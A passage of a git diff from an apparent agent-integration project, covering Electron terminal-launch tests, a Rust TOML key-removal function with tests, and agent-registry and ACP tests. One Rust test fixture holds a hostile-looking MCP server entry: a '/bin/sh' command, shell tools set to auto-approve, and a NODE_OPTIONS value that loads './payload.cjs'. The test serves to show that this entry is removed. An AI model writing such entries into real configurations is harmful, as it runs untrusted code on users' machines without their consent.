`openknowledge://open?project=${encodeURIComponent(s.projectDir)}&doc=start`;+ const PATH = `${s.binDir}:/usr/bin:/bin:/usr/sbin:/sbin`;+ return electron.launch(+ desktopLaunchOptions({+ target: TARGET,+ args: [`--user-data-dir=${s.userDataDir}`, deepLink],+ timeout: 30_000,+ env: {+ ...process.env,+ HOME: s.tmpHome,+ PATH,+ OK_DESKTOP_E2E_SMOKE: '1',+ OK_M6B_FORCE: '1',+ },+ }),+ );+}++async function findEditorWindow(app: ElectronApplication, timeoutMs = 25_000): Promise<Page> {+ let page: Page | undefined;+ await expect(async () => {+ for (const p of app.windows()) {+ const mode = await p.evaluate(() => window.okDesktop?.config?.mode).catch(() => undefined);+ if (mode === 'editor') {+ page = p;+ return;+ }+ }+ throw new Error('no editor window yet');+ }).toPass({ timeout: timeoutMs });+ if (!page) throw new Error('editor window vanished after readiness poll');+ return page;+}++async function clickViewTerminalItem(app: ElectronApplication): Promise<void> {+ await app.evaluate(async ({ Menu }) => {+ const menu = Menu.getApplicationMenu();+ if (!menu) throw new Error('application menu is unavailable');+ const view = menu.items.find((i) => i.label === 'View');+ const item = view?.submenu?.items.find(+ (i) => i.label === 'Show Terminal' || i.label === 'Hide Terminal',+ );+ if (!item) throw new Error('View menu is missing the required Terminal visibility item');+ if (process.platform === 'darwin') item.click();+ });+ if (process.platform !== 'darwin') {+ const page = await findEditorWindow(app);+ await page.evaluate(async () => {+ const menu = window.okDesktop?.menu;+ if (!menu) throw new Error('renderer menu bridge is unavailable');+ await menu.dispatch({ kind: 'menu-action', action: 'toggle-terminal' });+ });+ }+}++const terminalSection = (page: Page): Locator => page.locator('section[aria-label="Terminal"]');++async function readTerminalText(page: Page): Promise<string> {+ return page.evaluate(() => {+ const sec = document.querySelector('section[aria-label="Terminal"]');+ if (!sec) return '';+ const a11y = sec.querySelector('.xterm-accessibility')?.textContent ?? '';+ const rows = sec.querySelector('.xterm-rows')?.textContent ?? '';+ return `${a11y}\n${rows}`;+ });+}++async function openTerminal(app: ElectronApplication, page: Page): Promise<void> {+ await expect(async () => {+ if (await terminalSection(page).isVisible()) return;+ await clickViewTerminalItem(app);+ await expect(terminalSection(page)).toBeVisible({ timeout: 1_000 });+ }).toPass({ timeout: 15_000 });+ await expect(page.locator('[data-terminal-status]')).toHaveAttribute(+ 'data-terminal-status',+ 'running',+ { timeout: 25_000 },+ );+ await waitForShellReady(+ () => readTerminalText(page),+ (command) => typeTerminalCommand(page, command),+ { resetTerminalInput: () => page.keyboard.press('Control+C') },+ );+}++async function typeTerminalCommand(page: Page, command: string): Promise<void> {+ await page.locator('section[aria-label="Terminal"] .xterm').click();+ await page.keyboard.type(command);+ await page.keyboard.press('Enter');+}++function readRecordedArgv(capturePath: string): string[] | null {+ if (!existsSync(capturePath)) return null;+ const raw = readFileSync(capturePath, 'utf8');+ if (!raw.endsWith('\n')) return null;+ return raw.split('\n').slice(0, -1);+}++test.describe('Docked terminal launch — composed argv', () => {+ test.skip(!SMOKE_ENABLED, 'Set OK_DESKTOP_E2E_SMOKE=1 to run Electron smoke tests.');+ test.skip(!PTY_PLATFORM_SUPPORTED, PTY_PLATFORM_SKIP_REASON);+ test.skip(!TARGET.exists, TARGET.missingReason);+ test.skip(+ WINDOWS,+ 'The fake claude on PATH is a POSIX sh script and the launch PATH is POSIX-shaped; the Windows shell never reaches readiness with them.',+ );++ test('a Claude launch hands the PTY the settings payload and the prompt verbatim', async ({+ captureStderrFor,+ }) => {+ const s = seed();+ const app = await launchApp(s);+ captureStderrFor(app, { cleanupDirs: [s.tmpHome, s.projectDir] });+ const page = await findEditorWindow(app);+ await openTerminal(app, page);++ const written = await page.evaluate(async () => {+ const bridge = window.okDesktop;+ if (!bridge) throw new Error('okDesktop bridge is unavailable');+ return bridge.projectIntegrations.setComponent({+ component: { kind: 'editor', id: 'claude' },+ enabled: true,+ });+ });+ expect(written.ok, `project MCP write refused: ${JSON.stringify(written)}`).toBe(true);+ expect(existsSync(join(s.projectDir, '.mcp.json'))).toBe(true);++ await page.evaluate((prompt) => {+ window.dispatchEvent(+ new CustomEvent('open-knowledge:terminal-launch', {+ detail: { prompt, cli: 'claude', stage: false },+ }),+ );+ }, s.prompt);++ await expect+ .poll(() => readRecordedArgv(s.capturePath) !== null, { timeout: 45_000 })+ .toBe(true);+ const recorded = readRecordedArgv(s.capturePath);+ if (recorded === null) throw new Error('recorded argv vanished after the poll');++ const [invokedAs, ...args] = recorded;+ expect(invokedAs).toBe(join(s.binDir, 'claude'));+ expect(args, `unexpected argv: ${JSON.stringify(args)}`).toHaveLength(3);+ expect(args[0]).toBe('--settings');+ expect(args[2]).toBe(s.prompt);+ expect(existsSync(s.injectedPath)).toBe(false);++ const settings = JSON.parse(args[1]) as {+ enabledMcpjsonServers?: string[];+ permissions?: { allow: string[]; ask: string[] };+ };+ expect(settings.enabledMcpjsonServers).toEqual([OK_SERVER_NAME]);+ expect(settings.permissions?.allow).toEqual(+ expect.arrayContaining([`mcp__${OK_SERVER_NAME}`, 'Bash(ok open:*)']),+ );+ const ask = settings.permissions?.ask ?? [];+ expect(ask.length).toBeGreaterThan(0);+ expect(ask).toContain(`mcp__${OK_SERVER_NAME}__delete`);+ for (const rule of ask) expect(rule.startsWith(`mcp__${OK_SERVER_NAME}__`)).toBe(true);+ });+});diff --git a/packages/native-config/src/lib.rs b/packages/native-config/src/lib.rsindex d3a48a928..1a1970109 100644--- a/packages/native-config/src/lib.rs+++ b/packages/native-config/src/lib.rs@@ -70,6 +70,23 @@ pub fn remove_mcp_server(toml_text: String, server_name: String) -> napi::Result})}+/// Remove one key from `[mcp_servers.<server_name>]`, leaving every other key+/// of the entry and its decor in place. Throws only for unparseable TOML.+#[napi]+pub fn remove_mcp_server_key(+ toml_text: String,+ server_name: String,+ key: String,+) -> napi::Result<McpEditResult> {+ let outcome = mcp_edit::remove_mcp_server_key(&toml_text, &server_name, &key)+ .map_err(napi::Error::from_reason)?;+ Ok(McpEditResult {+ text: outcome.text,+ changed: outcome.changed,+ existed: outcome.existed,+ })+}+/// Where to read the existing config from and where to write the updated one/// after following any symlink chain. `read_path` is absent when the chain/// cycles or can't be resolved, in which case `write_path` is the original pathdiff --git a/packages/native-config/src/mcp_edit.rs b/packages/native-config/src/mcp_edit.rsindex fa96e886e..6a7761fa8 100644--- a/packages/native-config/src/mcp_edit.rs+++ b/packages/native-config/src/mcp_edit.rs@@ -116,6 +116,36 @@ pub fn remove_mcp_server(toml_text: &str, server_name: &str) -> Result<UpsertOut})}+/// Remove one key from `[mcp_servers.<server_name>]`, whether the entry is an+/// explicit table, an inline table, or a member of a whole-table inline+/// `mcp_servers = { ... }`. Every other key of the entry keeps its value and+/// decor, so the caller can prune a managed key without rebuilding the entry.+/// Removing an absent key (or from an absent entry) is a byte-identical no-op.+pub fn remove_mcp_server_key(+ toml_text: &str,+ server_name: &str,+ key: &str,+) -> Result<UpsertOutcome, String> {+ let mut doc = parse_document(toml_text)?;+ let before = doc.to_string();++ let existed = doc+ .as_table_mut()+ .get_mut("mcp_servers")+ .and_then(Item::as_table_like_mut)+ .and_then(|servers| servers.get_mut(server_name))+ .and_then(Item::as_table_like_mut)+ .map(|entry| entry.remove(key).is_some())+ .unwrap_or(false);++ let after = doc.to_string();+ Ok(UpsertOutcome {+ changed: after != before,+ existed,+ text: after,+ })+}+fn parse_document(toml_text: &str) -> Result<DocumentMut, String> {toml_text.parse::<DocumentMut>()@@ -273,6 +303,57 @@ mod tests {text.parse::<DocumentMut>().expect("output must be valid TOML")}+ #[test]+ fn remove_key_drops_a_sub_table_and_keeps_every_other_key_and_comment() {+ let input = "[mcp_servers.github]\ncommand = \"npx\" # keep\n\n[mcp_servers.open-knowledge]\n# interior note\ncommand = \"/bin/sh\"\ncwd = \"/srv/notes\"\n\n[mcp_servers.open-knowledge.tools.shell]\napproval_mode = \"approve\"\n\n[mcp_servers.open-knowledge.env]\nNODE_OPTIONS = \"--require ./payload.cjs\"\n";+ let out = remove_mcp_server_key(input, "open-knowledge", "env").unwrap();+ assert!(out.changed);+ assert!(out.existed);+ assert!(!out.text.contains("NODE_OPTIONS"));+ assert!(!out.text.contains("[mcp_servers.open-knowledge.env]"));+ assert!(out.text.contains("command = \"npx\" # keep"));+ assert!(out.text.contains("# interior note"));+ assert!(out.text.contains("[mcp_servers.open-knowledge.tools.shell]"));+ let doc = parse(&out.text);+ assert_eq!(+ doc["mcp_servers"]["open-knowledge"]["cwd"].as_str(),+ Some("/srv/notes")+ );+ assert_eq!(+ doc["mcp_servers"]["open-knowledge"]["tools"]["shell"]["approval_mode"].as_str(),+ Some("approve")+ );+ }++ #[test]+ fn remove_key_works_on_an_inline_entry() {+ let input = "mcp_servers = { open-knowledge = { command = \"/bin/sh\", env = { A = \"1\" }, cwd = \"/x\" } }\n";+ let out = remove_mcp_server_key(input, "open-knowledge", "env").unwrap();+ assert!(out.changed);+ assert!(out.existed);+ assert!(!out.text.contains("A = \"1\""));+ let doc = parse(&out.text);+ assert_eq!(doc["mcp_servers"]["open-knowledge"]["cwd"].as_str(), Some("/x"));+ }++ #[test]+ fn remove_key_is_a_no_op_for_an_absent_key_or_entry() {+ let input = "[mcp_servers.open-knowledge]\ncommand = \"/bin/sh\"\n";+ let out = remove_mcp_server_key(input, "open-knowledge", "env").unwrap();+ assert!(!out.changed);+ assert!(!out.existed);+ assert_eq!(out.text, input);+ let missing = remove_mcp_server_key(input, "other", "env").unwrap();+ assert!(!missing.changed);+ assert!(!missing.existed);+ assert_eq!(missing.text, input);+ }++ #[test]+ fn remove_key_rejects_invalid_toml() {+ assert!(remove_mcp_server_key("[broken", "open-knowledge", "env").is_err());+ }+#[test]fn inserts_fresh_entry_into_empty_document() {let out = upsert_mcp_server("", "open-knowledge", ENTRY).unwrap();diff --git a/packages/server/src/acp/gate-observation.test.ts b/packages/server/src/acp/gate-observation.test.tsnew file mode 100644index 000000000..4c01a8ed7--- /dev/null+++ b/packages/server/src/acp/gate-observation.test.ts@@ -0,0 +1,182 @@+import { mkdtempSync, rmSync, writeFileSync } from 'node:fs';+import { tmpdir } from 'node:os';+import { join } from 'node:path';+import {+ EMPTY_DETECTION_SNAPSHOT,+ EMPTY_PROBE_SNAPSHOT,+ type HostSnapshot,+} from '@inkeep/open-knowledge-core';+import { afterEach, describe, expect, test, vi } from 'vitest';+import type { AgentSessionManager } from '../agent-sessions.ts';+import { getLogger, type PinoLogger } from '../logger.ts';+import { AcpPermissionStore } from './permissions.ts';+import { AcpRegistry } from './registry.ts';+import { AcpThreadManager, type AcpThreadManagerOptions } from './thread-manager.ts';++const baseLog = getLogger('acp-gate-observation-test');++const fakeSessionManager = {+ getSession: async () => {+ throw new Error('not used');+ },+ closeAllForAgent: async () => {},+} as unknown as AgentSessionManager;++const CATALOG = JSON.stringify({+ agents: [+ { id: 'claude-acp', name: 'Claude Code', version: '1.0.0', distribution: { binary: {} } },+ { id: 'auggie', name: 'Auggie', version: '1.0.0', distribution: { binary: {} } },+ ],+});++let dirs: string[] = [];+let managers: AcpThreadManager[] = [];++function tmp(): string {+ const d = mkdtempSync(join(tmpdir(), 'acp-gate-observation-'));+ dirs.push(d);+ return d;+}++afterEach(async () => {+ await Promise.allSettled(managers.map((m) => m.destroy()));+ managers = [];+ for (const d of dirs) rmSync(d, { recursive: true, force: true });+ dirs = [];+});++const EMPTY_SNAPSHOT: HostSnapshot = {+ probes: EMPTY_PROBE_SNAPSHOT,+ detection: EMPTY_DETECTION_SNAPSHOT,+};++function makeManager(extra?: Partial<AcpThreadManagerOptions>): {+ manager: AcpThreadManager;+ localDir: string;+ info: ReturnType<typeof vi.fn>;+} {+ const localDir = tmp();+ const info = vi.fn();+ const log = {+ info,+ warn: baseLog.warn.bind(baseLog),+ error: baseLog.error.bind(baseLog),+ debug: baseLog.debug.bind(baseLog),+ } as unknown as PinoLogger;++ const manager = new AcpThreadManager({+ contentDir: tmp(),+ localDir,+ globalDir: null,+ registry: new AcpRegistry({+ localDir,+ log: baseLog,+ fetchImpl: (async () => new Response(CATALOG, { status: 200 })) as typeof fetch,+ }),+ permissions: new AcpPermissionStore(localDir, baseLog),+ sessionManager: fakeSessionManager,+ isExcludedPath: () => false,+ isIgnoredPath: () => false,+ hostSnapshot: async () => EMPTY_SNAPSHOT,+ log,+ resolveLoginShellPath: async () => null,+ ...extra,+ });+ managers.push(manager);+ return { manager, localDir, info };+}++function verdicts(info: ReturnType<typeof vi.fn>): Array<Record<string, unknown>> {+ return info.mock.calls+ .filter((call) => call[1] === '[agent-gate] readiness')+ .map((call) => call[0] as Record<string, unknown>);+}++describe('ACP thread create — readiness observation', () => {+ test('records the verdict under the registry id, not the catalog id', async () => {+ const { manager, info } = makeManager();++ const thread = await manager.createThread({ agent: { source: 'registry', id: 'claude-acp' } });++ expect(thread.threadId).toBeTruthy();+ expect(verdicts(info)).toEqual([+ expect.objectContaining({+ site: 'acp-thread',+ mode: 'acp',+ agent: 'claude',+ registered: true,+ }),+ ]);+ });++ test('carries the skill requirement alongside the verdict', async () => {+ const { manager, info } = makeManager();++ await manager.createThread({ agent: { source: 'registry', id: 'claude-acp' } });++ const [fields] = verdicts(info);+ expect(fields?.skill).toBeDefined();+ expect(fields?.mcp).toBeDefined();+ expect(fields?.verdict).toBeDefined();+ });++ test('creates the thread for a long-tail agent and files it as unregistered', async () => {+ const { manager, info } = makeManager();++ const thread = await manager.createThread({ agent: { source: 'registry', id: 'auggie' } });++ expect(thread.threadId).toBeTruthy();+ expect(thread.agent.id).toBe('auggie');+ expect(verdicts(info)).toEqual([+ expect.objectContaining({ verdict: 'not-registered', agent: null, registered: false }),+ ]);+ });++ test('never puts a user-authored custom agent id in the log', async () => {+ const { manager, localDir, info } = makeManager();+ writeFileSync(+ join(localDir, 'acp-agents.json'),+ JSON.stringify([+ { id: 'claude-acp', name: 'My Private Fork', command: '/nonexistent/agent-binary' },+ ]),+ );++ const thread = await manager.createThread({ agent: { source: 'custom', id: 'claude-acp' } });++ expect(thread.threadId).toBeTruthy();+ expect(verdicts(info)).toEqual([+ expect.objectContaining({ verdict: 'not-registered', agent: null }),+ ]);+ });++ test('creates the thread when no host snapshot is wired at all', async () => {+ const { manager, info } = makeManager({ hostSnapshot: undefined });++ const thread = await manager.createThread({ agent: { source: 'registry', id: 'claude-acp' } });++ expect(thread.threadId).toBeTruthy();+ expect(verdicts(info)).toHaveLength(1);+ });++ test('creates the thread when the host snapshot throws', async () => {+ const { manager, info } = makeManager({+ hostSnapshot: async () => {+ throw new Error('probe blew up');+ },+ });++ const thread = await manager.createThread({ agent: { source: 'registry', id: 'claude-acp' } });++ expect(thread.threadId).toBeTruthy();+ expect(verdicts(info)).toHaveLength(0);+ });++ test('leaves the unknown-agent rejection exactly as it was', async () => {+ const { manager, info } = makeManager();++ await expect(+ manager.createThread({ agent: { source: 'registry', id: 'not-in-any-catalog' } }),+ ).rejects.toThrow(/not in the registry/);+ expect(verdicts(info)).toHaveLength(0);+ });+});diff --git a/packages/server/src/acp/harness-availability.ts b/packages/server/src/acp/harness-availability.tsindex 8487982b5..90a3e4dfc 100644--- a/packages/server/src/acp/harness-availability.ts+++ b/packages/server/src/acp/harness-availability.ts@@ -1,7 +1,7 @@import { existsSync } from 'node:fs';import { homedir } from 'node:os';import { join } from 'node:path';-import type { TerminalCli } from '@inkeep/open-knowledge-core';+import { ACP_AGENT_HARNESS_CLI_MAP, type TerminalCli } from '@inkeep/open-knowledge-core';import { getLogger } from '../logger.ts';import { AgentLaunchError, mergedEnv, preflightLaunch, withLoginShellPath } from './launch.ts';import { getSharedLoginShellPathProvider } from './login-shell-path.ts';@@ -17,14 +17,8 @@ interface HarnessSignals {export type AcpHarnessCli = TerminalCli | 'gemini';-export const ACP_AGENT_HARNESS_CLIS: Readonly<Record<string, AcpHarnessCli | undefined>> = {- 'claude-acp': 'claude',- 'codex-acp': 'codex',- cursor: 'cursor',- gemini: 'gemini',- opencode: 'opencode',- 'pi-acp': 'pi',-};+export const ACP_AGENT_HARNESS_CLIS: Readonly<Record<string, AcpHarnessCli | undefined>> =+ ACP_AGENT_HARNESS_CLI_MAP;const HARNESS_BINS: Readonly<Record<AcpHarnessCli, string>> = {claude: 'claude',diff --git a/packages/server/src/acp/registry.test.ts b/packages/server/src/acp/registry.test.tsindex 33c1904df..fb0135290 100644--- a/packages/server/src/acp/registry.test.ts+++ b/packages/server/src/acp/registry.test.ts@@ -4,7 +4,9 @@ import { join } from 'node:path';import { afterEach, describe, expect, test } from 'vitest';import { getLogger } from '../logger.ts';import {+ ACP_AGENT_EDITOR_IDS,AcpRegistry,+ FEATURED_AGENT_IDS,loadCustomAgents,normalizeAgentDisplayName,registryPlatformKey,@@ -12,6 +14,32 @@ import {const log = getLogger('acp-registry-test');+describe('per-agent tables', () => {+ test('features the same six agents in the same display order', () => {+ expect(FEATURED_AGENT_IDS).toEqual([+ 'claude-acp',+ 'codex-acp',+ 'gemini',+ 'cursor',+ 'github-copilot-cli',+ 'opencode',+ ]);+ });++ test('maps the same four agents to the editor wiring their harness loads', () => {+ expect(ACP_AGENT_EDITOR_IDS).toEqual({+ 'claude-acp': 'claude',+ 'codex-acp': 'codex',+ opencode: 'opencode',+ 'pi-acp': 'pi',+ });+ });++ test('leaves cursor unmapped, so session setup keeps injecting for it', () => {+ expect(ACP_AGENT_EDITOR_IDS.cursor).toBeUndefined();+ });+});+const CATALOG = JSON.stringify({version: 1,agents: [diff --git a/packages/server/src/acp/registry.ts b/packages/server/src/acp/registry.tsindex e468f87b0..6c0ac6abf 100644--- a/packages/server/src/acp/registry.ts+++ b/packages/server/src/acp/registry.ts@@ -1,26 +1,19 @@import { readFile } from 'node:fs/promises';import { arch, platform } from 'node:os';import { join } from 'node:path';-import type { EditorId } from '@inkeep/open-knowledge-core';+import {+ ACP_AGENT_EDITOR_ID_MAP,+ ACP_FEATURED_AGENT_IDS,+ type EditorId,+} from '@inkeep/open-knowledge-core';import type { PinoLogger } from '../logger.ts';const ACP_REGISTRY_URL = 'https://cdn.agentclientprotocol.com/registry/v1/latest/registry.json';-export const FEATURED_AGENT_IDS: readonly string[] = [- 'claude-acp',- 'codex-acp',- 'gemini',- 'cursor',- 'github-copilot-cli',- 'opencode',-];+export const FEATURED_AGENT_IDS: readonly string[] = ACP_FEATURED_AGENT_IDS;-export const ACP_AGENT_EDITOR_IDS: { readonly [agentId: string]: EditorId | undefined } = {- 'claude-acp': 'claude',- 'codex-acp': 'codex',- opencode: 'opencode',- 'pi-acp': 'pi',-};+export const ACP_AGENT_EDITOR_IDS: { readonly [agentId: string]: EditorId | undefined } =+ ACP_AGENT_EDITOR_ID_MAP;export interface RegistryBinaryTarget {archive: string;diff --git a/packages/server/src/acp/thread-manager.ts b/packages/server/src/acp/thread-manager.tsindex 62e51fa4b..68ba1179a 100644--- a/packages/server/src/acp/thread-manager.ts+++ b/packages/server/src/acp/thread-manager.ts@@ -43,9 +43,11 @@ import {} from '@agentclientprotocol/sdk';import {AGENT_ICON_COLORS,+ agentIdForAcpAgent,changedBlockRange,colorFromSeed,type EditorId,+ type HostSnapshot,iconFromClientName,OK_HOSTED_AGENT_ENV,} from '@inkeep/open-knowledge-core';@@ -67,6 +69,7 @@ import type {import { THREAD_REOPEN_OP_TIMEOUT_MS } from '@inkeep/open-knowledge-core/acp/thread-protocol';import { toBroadcasterKey } from '../agent-id.ts';import type { AgentPresenceBroadcaster } from '../agent-presence.ts';+import { observeReadiness } from '../agent-registry-gate.ts';import {type AgentSessionManager,agentWriteLossDetect,@@ -296,6 +299,7 @@ export interface AcpThreadManagerOptions {cwd: string,) => HarnessManagedMcpEntryHit | null | Promise<HarnessManagedMcpEntryHit | null>;probePiAcpBridge?: (cwd: string) => PiAcpBridgeProbe | Promise<PiAcpBridgeProbe>;+ hostSnapshot?: () => Promise<HostSnapshot>;ensurePiAcpBridge?: (cwd: string) => PiAcpBridgeEnsureResult | Promise<PiAcpBridgeEnsureResult>;runtimeInstall?: {root?: string;@@ -488,6 +492,16 @@ export class AcpThreadManager {}const { info: agentInfo, custom } = await this.resolveAgentInfo(params.agent);++ // STOP: this await must stay ABOVE the capacity re-check below. The check+ await observeReadiness({+ site: 'acp-thread',+ agentId: custom === null ? (agentIdForAcpAgent(agentInfo.id) ?? agentInfo.id) : agentInfo.id,+ mode: 'acp',+ log: this.opts.log,+ snapshot: this.opts.hostSnapshot,+ });+if (this.destroyed) throw new ThreadOpError('capacity', 'server is shutting down');if (this.liveThreadCount() >= this.maxThreads) {throw new ThreadOpError('capacity', `maximum of ${this.maxThreads} concurrent agent threads`);diff --git a/packages/server/src/agent-registry-apply.test.ts b/packages/server/src/agent-registry-apply.test.tsnew file mode 100644index 000000000..00a7cdf20--- /dev/null+++ b/packages/server/src/agent-registry-apply.test.ts@@ -0,0 +1,255 @@+import { mkdtempSync, rmSync } from 'node:fs';+import { tmpdir } from 'node:os';+import { join } from 'node:path';+import {+ EMPTY_DETECTION_SNAPSHOT,+ type HostSnapshot,+ type PlannedStep,+ type ProbeSnapshot,+ type SatisfierId,+ type StepExecutor,+ type SurfaceState,+} from '@inkeep/open-knowledge-core';+import { afterEach, describe, expect, it } from 'vitest';+import { applyAgentRegistryIntents, NO_WRITER_EXECUTOR } from './agent-registry-apply.ts';+import { readBundleDecision } from './skill-state.ts';++const CLAUDE_PROJECT_MCP = 'claude/mcp/project/config-entry' as SatisfierId;+const _CLAUDE_PROJECT_SKILL = 'claude/skill/project/skill-bundle-copy' as SatisfierId;+const COPILOT_PROJECT_SKILL = 'copilot/skill/project/skill-bundle-copy' as SatisfierId;++const tempDirs: string[] = [];++afterEach(() => {+ for (const dir of tempDirs.splice(0)) rmSync(dir, { recursive: true, force: true });+});++function tempHome(): string {+ const dir = mkdtempSync(join(tmpdir(), 'ok-apply-'));+ tempDirs.push(dir);+ return dir;+}++function probesOf(states: Record<string, SurfaceState>): ProbeSnapshot {+ return {+ env: 'local-web',+ satisfiers: Object.fromEntries(Object.entries(states).map(([id, state]) => [id, { state }])),+ };+}++function snapshotOf(states: Record<string, SurfaceState> = {}): HostSnapshot {+ return { probes: probesOf(states), detection: EMPTY_DETECTION_SNAPSHOT };+}++function recordingExecutor(): { execute: StepExecutor; wrote: string[] } {+ const wrote: string[] = [];+ return {+ wrote,+ execute: (step: PlannedStep) => {+ wrote.push(step.satisfierId);+ return { action: step.desired === 'absent' ? 'removed' : 'written' };+ },+ };+}++describe('a batch with no writer injected', () => {+ it('reports every step unwritable instead of failing the request', async () => {+ const { report } = await applyAgentRegistryIntents(+ [{ satisfierId: CLAUDE_PROJECT_MCP, desired: 'present' }],+ { env: 'local-web', snapshot: async () => snapshotOf({ [CLAUDE_PROJECT_MCP]: 'absent' }) },+ );++ expect(report.actions).toHaveLength(1);+ expect(report.actions[0]?.action).toBe('skipped-unsupported');+ expect(report.actions[0]?.errorId).toBe('no-writer');+ });++ it('still returns a snapshot taken after the batch', async () => {+ const { snapshot } = await applyAgentRegistryIntents([], {+ env: 'local-web',+ snapshot: async () => snapshotOf({ [CLAUDE_PROJECT_MCP]: 'satisfied' }),+ });++ expect(snapshot.probes.satisfiers[CLAUDE_PROJECT_MCP]?.state).toBe('satisfied');+ });++ it('is the same answer the exported fallback gives on its own', () => {+ expect(NO_WRITER_EXECUTOR({} as PlannedStep)).toEqual({+ action: 'skipped-unsupported',+ errorId: 'no-writer',+ });+ });+});++describe('a batch with a writer injected', () => {+ it('runs the requested work and reports what happened to each artifact', async () => {+ const { execute, wrote } = recordingExecutor();++ const { report } = await applyAgentRegistryIntents(+ [{ satisfierId: CLAUDE_PROJECT_MCP, desired: 'present' }],+ {+ execute,+ env: 'local-web',+ snapshot: async () => snapshotOf({ [CLAUDE_PROJECT_MCP]: 'absent' }),+ },+ );++ expect(wrote).toEqual([CLAUDE_PROJECT_MCP]);+ expect(report.actions.map((action) => action.action)).toEqual(['written']);+ });++ it('does not touch an artifact that is already the way it was asked to be', async () => {+ const { execute, wrote } = recordingExecutor();++ const { report } = await applyAgentRegistryIntents(+ [{ satisfierId: CLAUDE_PROJECT_MCP, desired: 'present' }],+ {+ execute,+ env: 'local-web',+ snapshot: async () => snapshotOf({ [CLAUDE_PROJECT_MCP]: 'satisfied' }),+ },+ );++ expect(wrote).toEqual([]);+ expect(report.actions.map((action) => action.action)).toEqual(['unchanged']);+ });++ it('keeps going after a writer throws, and names the failure', async () => {+ const execute: StepExecutor = (step) => {+ if (step.satisfierId === CLAUDE_PROJECT_MCP) throw new Error('disk on fire');+ return { action: 'written' };+ };++ const { report } = await applyAgentRegistryIntents(+ [+ { satisfierId: CLAUDE_PROJECT_MCP, desired: 'present' },+ { satisfierId: COPILOT_PROJECT_SKILL, desired: 'present' },+ ],+ {+ execute,+ env: 'local-web',+ snapshot: async () =>+ snapshotOf({ [CLAUDE_PROJECT_MCP]: 'absent', [COPILOT_PROJECT_SKILL]: 'absent' }),+ },+ );++ const failed = report.actions.find((action) => action.satisfierId === CLAUDE_PROJECT_MCP);+ expect(failed?.action).toBe('failed');+ expect(failed?.errorId).toBe('executor-threw');+ const skill = report.actions.find((action) => action.satisfierId === COPILOT_PROJECT_SKILL);+ expect(skill?.action).toBe('written');+ });+});++describe('a batch built from an unusable request', () => {+ it('reports a submission that is not an intent as a conflict rather than throwing', async () => {+ const { report } = await applyAgentRegistryIntents(+ [{ satisfierId: undefined, desired: 'sideways' }],+ { env: 'local-web', snapshot: async () => snapshotOf() },+ );++ expect(report.actions).toEqual([]);+ expect(report.conflicts.map((conflict) => conflict.kind)).toContain('malformed-intent');+ });++ it('reports an artifact the registry does not carry', async () => {+ const { report } = await applyAgentRegistryIntents(+ [{ satisfierId: 'nope/mcp/user/config-entry', desired: 'present' }],+ { env: 'local-web', snapshot: async () => snapshotOf() },+ );++ expect(report.conflicts.map((conflict) => conflict.kind)).toContain('unknown-satisfier');+ });+});++describe('a snapshot that cannot be taken', () => {+ it('claims nothing rather than inventing an answer', async () => {+ const { report, snapshot } = await applyAgentRegistryIntents(+ [{ satisfierId: CLAUDE_PROJECT_MCP, desired: 'present' }],+ {+ execute: () => ({ action: 'written' }),+ env: 'local-web',+ snapshot: async () => {+ throw new Error('cannot read home');+ },+ },+ );++ expect(snapshot.detection.probed).toBe(false);+ expect(snapshot.probes.satisfiers).toEqual({});+ expect(report.actions.map((action) => action.action)).toEqual(['written']);+ });+});++describe('caller tier', () => {+ it('reports the caller tier it was given, not a hardcoded one, when the snapshot fails', async () => {+ const { snapshot } = await applyAgentRegistryIntents([], {+ env: 'remote-web',+ decisionHome: tempHome(),+ snapshot: async () => {+ throw new Error('unreadable');+ },+ });++ expect(snapshot.probes.env).toBe('remote-web');+ expect(snapshot.probes.satisfiers).toEqual({});+ });+});++describe('the user-global skill decision record', () => {+ const CLAUDE_USER_SKILL = 'claude/skill/user/skill-bundle-copy' as const;++ it('records true when a user-skill install lands', async () => {+ const home = tempHome();++ await applyAgentRegistryIntents([{ satisfierId: CLAUDE_USER_SKILL, desired: 'present' }], {+ execute: () => ({ action: 'written' }),+ env: 'local-web',+ decisionHome: home,+ snapshot: async () => snapshotOf(),+ });++ expect(await readBundleDecision(home, 'open-knowledge-discovery')).toBe(true);+ });++ it('records false when a removal empties the last copy', async () => {+ const home = tempHome();++ await applyAgentRegistryIntents([{ satisfierId: CLAUDE_USER_SKILL, desired: 'absent' }], {+ execute: () => ({ action: 'removed' }),+ env: 'local-web',+ decisionHome: home,+ userSkillPresentAnywhere: () => false,+ snapshot: async () => snapshotOf({ [CLAUDE_USER_SKILL]: 'satisfied' }),+ });++ expect(await readBundleDecision(home, 'open-knowledge-discovery')).toBe(false);+ });++ it('records nothing when the host never answered the disk question', async () => {+ const home = tempHome();++ await applyAgentRegistryIntents([{ satisfierId: CLAUDE_USER_SKILL, desired: 'absent' }], {+ execute: () => ({ action: 'removed' }),+ env: 'local-web',+ decisionHome: home,+ snapshot: async () => snapshotOf({ [CLAUDE_USER_SKILL]: 'satisfied' }),+ });++ expect(await readBundleDecision(home, 'open-knowledge-discovery')).toBe(null);+ });++ it('records nothing when a removal leaves a copy behind', async () => {+ const home = tempHome();++ await applyAgentRegistryIntents([{ satisfierId: CLAUDE_USER_SKILL, desired: 'absent' }], {+ execute: () => ({ action: 'removed' }),+ env: 'local-web',+ decisionHome: home,+ userSkillPresentAnywhere: () => true,+ snapshot: async () => snapshotOf({ [CLAUDE_USER_SKILL]: 'satisfied' }),+ });++ expect(await readBundleDecision(home, 'open-knowledge-discovery')).toBe(null);+ });+});diff --git a/packages/server/src/agent-registry-apply.ts b/packages/server/src/agent-registry-apply.tsnew file mode 100644index 000000000..436af1e96--- /dev/null+++ b/packages/server/src/agent-registry-apply.ts@@ -0,0 +1,106 @@+import {+ type ApplyReport,+ buildConnectionsView,+ EMPTY_DETECTION_SNAPSHOT,+ type EnvTier,+ emptyProbeSnapshot,+ executePlan,+ type HostSnapshot,+ type ProbeResolver,+ planIntents,+ type SatisfierId,+ type StepExecutor,+} from '@inkeep/open-knowledge-core';+import { getLogger } from './logger.ts';+import { BUNDLE_SKILL_NAME } from './skill-bundles.ts';+import { writeBundleDecision } from './skill-state.ts';++const log = getLogger('agent-registry-apply');++export interface AgentRegistryHostSeam {+ readonly execute?: StepExecutor;+ readonly probe?: ProbeResolver;+ readonly userSkillPresentAnywhere?: (home: string) => boolean;+}++function emptyHostSnapshot(env: EnvTier): HostSnapshot {+ return { probes: emptyProbeSnapshot(env), detection: EMPTY_DETECTION_SNAPSHOT };+}++export const NO_WRITER_EXECUTOR: StepExecutor = () => ({+ action: 'skipped-unsupported',+ errorId: 'no-writer',+});++export interface AgentRegistryIntentInput {+ readonly satisfierId?: 